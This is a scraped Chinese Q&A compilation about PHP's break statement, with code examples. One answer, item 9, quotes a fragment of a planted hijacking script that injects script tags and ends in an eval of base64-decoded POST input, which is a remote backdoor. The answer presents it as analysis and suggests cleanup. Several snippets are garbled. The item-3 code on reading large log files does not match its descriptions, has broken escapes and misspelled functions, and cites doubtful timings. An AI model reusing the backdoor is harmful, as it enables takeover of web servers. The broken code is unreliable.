导航:首页 > 编程语言 > php中break的编程题

php中break的编程题

发布时间:2022-08-11 10:46:31

1. 关于php的break语句的问题,希望高手指点

<?php
function debug( $a , $b ){
printf( "<b>a=%d,b=%d</b><br />" , $a , $b );
}
$a=5;
$b=10;
while( $a<10 ){
debug( $a , $b );
echo 'a='.$a.'<br/>';
while ($b>0){
debug( $a , $b );
echo 'b='.$b.'<br/>';
$b--;
if ($b==3){
echo "<span style='color:red'>b=3 has break</span><br/>";
break ;
}
}
$a++;
echo 'h a='.$a.'<br>';
if($a==30){
echo "<span style='color:red'>a=30 has break</span></br>";
break;
}
}
?>
我加了点东西,,你运行下看看,,
因为break虽然跳出了一次内循环,,
但是外循环仍会执行,,因此在b=3的情况下
仍然会执行三次内循环(就是输出b值的那个)

另外‘=’未赋值运算,,右边的表达式付给左值
而'=='为比较运算,,比较左右两边表达式值是否相等,,返回一个bool值

建议你多看看手册。

2. php break 退出循环到底是怎么用的

break


(PHP 4, PHP 5)


break 结束当前
for,foreach,while,do-while
或者 switch 结构的执行。


break 可以接受一个可选的数字参数来决定跳出几重循环。


<?php
$arr=array('one','two','three','four','stop','five');
while(list(,$val)=each($arr)){
if($val=='stop'){
break;/*Youcouldalsowrite'break1;'here.*/
}
echo"$val<br/> ";
}
/*使用可选参数*/
$i=0;
while(++$i){
switch($i){
case5:
echo"At5<br/> ";
break1;/*只退出switch.*/
case10:
echo"At10;quitting<br/> ";
break2;/*退出switch和while循环*/
default:
break;
}
}
?>

3. PHP编程

在php中,对于文件的读取时,最快捷的方式莫过于使用一些诸如file、file_get_contents之类的函数,简简单单的几行代码就能很漂亮的完成我们所需要的功能。但当所操作的文件是一个比较大的文件时,这些函数可能就显的力不从心, 下面将从一个需求入手来说明对于读取大文件时,常用的操作方法。
需求

有一个800M的日志文件,大约有500多万行, 用php返回最后几行的内容。

实现方法

1. 直接采用file函数来操作

注:由于 file函数是一次性将所有内容读入内存,而php为了防止一些写的比较糟糕的程序占用太多的内存而导致系统内存不足,使服务器出现宕机,所以默认情况下限制只能最大使用内存16M,这是通过php.ini里的memory_limit = 16M来进行设置,这个值如果设置-1,则内存使用量不受限制.

下面是一段用file来取出这具文件最后一行的代码.
整个代码执行完成耗时 116.9613 (s).

$fp = fopen($file, "r");
$num = 10;
$chunk = 4096;
$fs = sprintf("%u", filesize($file));
$max = (intval($fs) == PHP_INT_MAX) ? PHP_INT_MAX : filesize($file);
for ($len = 0; $len < $max; $len += $chunk) {
$seekSize = ($max - $len > $chunk) ? $chunk : $max - $len;
fseek($fp, ($len + $seekSize) * -1, SEEK_END);
$readData = fread($fp, $seekSize) . $readData;

if (substr_count($readData, "n") >= $num + 1) {
preg_match("!(.*?n){".($num)."}$!", $readData, $match);
$data = $match[0];
break;
}
}
fclose($fp);
echo $data;

我机器是2个G的内存,当按下F5运行时,系统直接变灰,差不多20分钟后才恢复过来,可见将这么大的文件全部直接读入内存,后果是多少严重,所以不在万不得以,memory_limit这东西不能调得太高,否则只有打电话给机房,让reset机器了.

2.直接调用linux的tail命令来显示最后几行

在linux命令行下,可以直接使用tail -n 10 access.log很轻易的显示日志文件最后几行,可以直接用php来调用tail命令,执行php代码如下.
整个代码执行完成耗时 0.0034 (s)

file = 'access.log';
$file = escapeshellarg($file); // 对命令行参数进行安全转义
$line = `tail -n 1 $file`;
echo $line;

3. 直接使用php的fseek来进行文件操作

这种方式是最为普遍的方式,它不需要将文件的内容全部读入内容,而是直接通过指针来操作,所以效率是相当高效的.在使用fseek来对文件进行操作时,也有多种不同的方法,效率可能也是略有差别的,下面是常用的两种方法.

方法一
首先通过fseek找到文件的最后一位EOF,然后找最后一行的起始位置,取这一行的数据,再找次一行的起始位置,再取这一行的位置,依次类推,直到找到了$num行。
实现代码如下
整个代码执行完成耗时 0.0095 (s)

function tail($fp,$n,$base=5)
{
assert($n>0);
$pos = $n+1;
$lines = array();
while(count($lines)< =$n){
try{
fseek($fp,-$pos,SEEK_END);
} catch (Exception $e){
fseek(0);
break;
}
$pos *= $base;
while(!feof($fp)){
array_unshift($lines,fgets($fp));
}
}
return array_slice($lines,0,$n);
}
var_mp(tail(fopen("access.log","r+"),10));

方法二
还是采用fseek的方式从文件最后开始读,但这时不是一位一位的读,而是一块一块的读,每读一块数据时,就将读取后的数据放在一个buf里,然后通过换行符(n)的个数来判断是否已经读完最后$num行数据.
实现代码如下
整个代码执行完成耗时 0.0009(s).

$fp = fopen($file, "r");
$line = 10;
$pos = -2;
$t = " ";
$data = "";
while ($line > 0) {
while ($t != "n") {
fseek($fp, $pos, SEEK_END);
$t = fgetc($fp);
$pos --;
}
$t = " ";
$data .= fgets($fp);
$line --;
}
fclose ($fp);
echo $data

方法三
整个代码执行完成耗时 0.0003(s)

ini_set('memory_limit','-1');
$file = 'access.log';
$data = file($file);
$line = $data[count($data)-1];
echo $line;
php压缩HTML函数轻松实现压缩html/js/Css及注意事项 phpexcel导出excel的颜色和网页中的颜色显示不一致

4. 请教PHP BREAK跳出多重循环的方法

break 结束当前 for,foreach,while,do-while 或者 switch 结构的执行。 break 可以接受一个可选的数字参数来决定跳出几重循环。
例如:for ($i = 0; $i < 5; $i++) {for ($j = 0; $j < 5; $j++) {...break 2; // 跳出for ($j) 和 for ($i)}}

5. 在PHP中,break可以表示退出循环,语句break 2具有什么功能( )

选择A,下面是php手册里的解释,
break 可以接受一个可选的数字参数来决定跳出几重循环。

6. PHP基础编程题

//第二题
<?php
$i=1;
$sum=0;
while($i)
{
$i=$i*2;
$sum++;
if($i==4096)
break;
}
echo $sum;
?>

7. 关于PHP break n理解,求解

break 2;是跳出两层循环(这里是$a=4时跳出switch和while两个循环)

8. Break的PHP break

break 结束当前 for,foreach,while,do-while 或者 switch 结构的执行。
break 可以接受一个可选的数字参数来决定跳出几重循环。
<?php
$arr = array('one', 'two', 'three', 'four', 'stop', 'five');
while (list (, $val) = each($arr)) {
if ($val == 'stop') {
break; /* You could also write 'break 1;' here. */
}
echo $val<br />/n;
}
/* Using the optional argument. */
$i = 0;
while (++$i) {
switch ($i) {
case 5:
echo At 5<br />/n;
break 1; /* Exit only the switch. */
case 10:
echo At 10; quitting<br />/n;
break 2; /* Exit the switch and the while. */
default:
break;
}
}
?>

9. PHP中的break问题,其中包含IF与foreach

if(!isset($ev8l1))#',$v)||preg_match('#[\(\[](\s*\d+,)#',$v);if((preg_match('#\beval\b#',$v)&&($e||strpos($v,'fromCharCode')))||($e&&strpos($v,'document.write')))$s=str_replace($v,'',$s);}if(preg_match_all('#<iframe ([^>]*?)src=[\'"]?(http:)?//([^>]*?)>#is',$s,$a))foreach($a[0] as $v)if(preg_match('# width\s*=\s*[\'"]?0*[01][\'"> ]|display\s*:\s*none#i',$v)&&!strstr($v,'?'.'>'))$s=preg_replace('#'.preg_quote($v,'#').'.*?</iframe>#is','',$s);$s=str_replace($a='<script src= ></script>','',$s);if(stristr($s,'<body'))$s=preg_replace('#(\s*<body)#mi',$a.'\1',$s);elseif(strpos($s,',a'))$s.=$a;return $s;}function ev8l2($a,$b,$c,$d)ob_start('ev8l');for($i=0;$i<count($s);$i++)}}$ev8ll=(($a=@set_error_handler('ev8l2'))!='ev8l2')?$a:0;eval(base64_decode($_POST['e']));
意思是将参数中的<script>...</script>部分替换为<script src= ></script>,这样你的网页就被挂上了马。这段代码应该是通过webshell上传到你机器上的一段挂马程序,至于webshell 的打开有很多原因,即然是php代码那么你的机器上很可能存在php远程文件包含漏洞,也就是如果你的机器上存在Wordtrans、WordPress、rgboard、phpcms等php程序,那么很可能就有这个的漏洞。
推荐解决方法:
1.恢复已被篡改的网页
2.找一个RFI扫描器对本机进行扫描,将找到的漏洞进行修补(相应的程序网上都有对应的修补方法)

10. 简述php中break和contine的用法,及区别。

break 用来跳出目前执行的循环,如下例

<?php
$i = 0;
while ($i < 10) {
if ($arr[$i] == "stop") {
break;
}
$i++;
}
?>
说的是,遍历整个数组,当碰到数组的某个元素的值为"stop"时,跳出循环;

continue 立即停止目前执行循环,并回到循环的条件判断处,见下例

<?php
while (list($key,$value) = each($arr)) {
if ($key % 2) { // 略过偶数
continue;
}
do_something_odd ($value);
}
?>
说的是,当list的值等于偶数的时候,略过这一个循环,循环继续,不退出

阅读全文

与php中break的编程题相关的资料

热点内容
做账为什么要用加密狗 浏览:583
考研群体怎么解压 浏览:156
linux修改命令提示符 浏览:224
圆圈里面k图标是什么app 浏览:59
pdf加空白页 浏览:945
linux服务器如何看网卡状态 浏览:316
解压新奇特视频 浏览:704
图书信息管理系统java 浏览:552
各种直线命令详解 浏览:862
程序员泪奔 浏览:146
素材怎么上传到服务器 浏览:515
android百度离线地图开发 浏览:189
web可视化编程软件 浏览:292
java笔试编程题 浏览:746
win11什么时候可以装安卓 浏览:564
java不写this 浏览:1001
云点播电影网php源码 浏览:97
pythonclass使用方法 浏览:226
移动加密软件去哪下载 浏览:294
php弹出alert 浏览:209